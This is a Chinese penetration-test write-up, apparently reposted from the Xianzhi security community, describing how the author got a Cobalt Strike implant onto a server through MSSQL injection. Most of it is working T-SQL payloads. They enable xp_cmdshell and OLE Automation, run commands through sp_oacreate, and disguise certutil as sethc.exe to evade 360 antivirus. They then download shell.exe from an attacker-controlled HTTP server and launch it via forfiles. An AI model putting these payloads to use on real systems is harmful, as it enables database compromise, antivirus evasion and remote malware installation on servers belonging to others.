记一次利用mssql上线 - 先知社区
2021-03-20 14:34:52 Author: xz.aliyun.com(查看原文) 阅读量:491 收藏

漏洞挖掘

在一次渗透测试过程中,对主站进行漏洞挖掘无果后,对子站进行挖掘。

在子站发现mssql注入漏洞

Getshell

一、发现360

用1=(select is_srvrolemember('sysadmin'))和host_name()!=@@servername判断出权限为sa权限,且站库分离,写不了webshell。然后用sqlmap跑os-shell,发现执行命令无效。

使用EXEC sp_configure 'show advanced options',1 RECONFIGURE EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE;尝试开启xp_cmdshell依旧无效。

用create table tmp(dir ntext,num int)创建表,然后用insert tmp execute master..xp_dirtree 'c:/',1将c盘目录插入表中,查看表发现360,之前命令都被360拦截了。

二、绕过360上线CS

经过上网搜索之后,发现可以用sp_oacreate执行命令。

开启sp_oacreate:

exec sp_configure 'show advanced options', 1;  RECONFIGURE;  exec sp_configure 'Ole Automation Procedures', 1;  RECONFIGURE;

构造命令语句,因为使用sp_oacreate执行命令是无回显的,使用dnslog平台进行判断:

Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'ping who.xxxx.dnslog.cn';

但是使用certutil.exe,wmic,mshta等任然无效

利用sp_oacreate构造语句,将certutil.exe复制到c:\windows\temp\下,并重命名为sethc.exe:

declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'C:\Windows\System32\certutil.exe' ,'c:\windows\temp\sethc.exe';

在服务器上用python开启http服务,然后使用命令远程下载exe文件:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:\Windows\Temp\sethc.exe -urlcache -split -f "http://ip:port/shell.exe" C:\Windows\Temp\shell.exe'

木马是传上去了,但是运行不了。。。。

最后请教Se10rc大佬,可以用forfiles /c test.exe,既:

Declare @runshell INT Exec SP_OACreate 'wscript.shell',@runshell out Exec SP_OAMeTHOD @runshell,'run',null,'forfiles /c shell.exe';

上线成功,感谢Se10rc大佬

参考链接:

https://github.com/doubleshuaibi/MssqlSeckill

https://blog.csdn.net/sandy9919/article/details/82932460

https://zhuanlan.zhihu.com/p/31111348

https://blog.csdn.net/sircoding/article/details/78681016

https://my.oschina.net/u/4396523/blog/3501613


文章来源: https://xz.aliyun.com/t/9265
如有侵权请联系:admin#unsafe.sh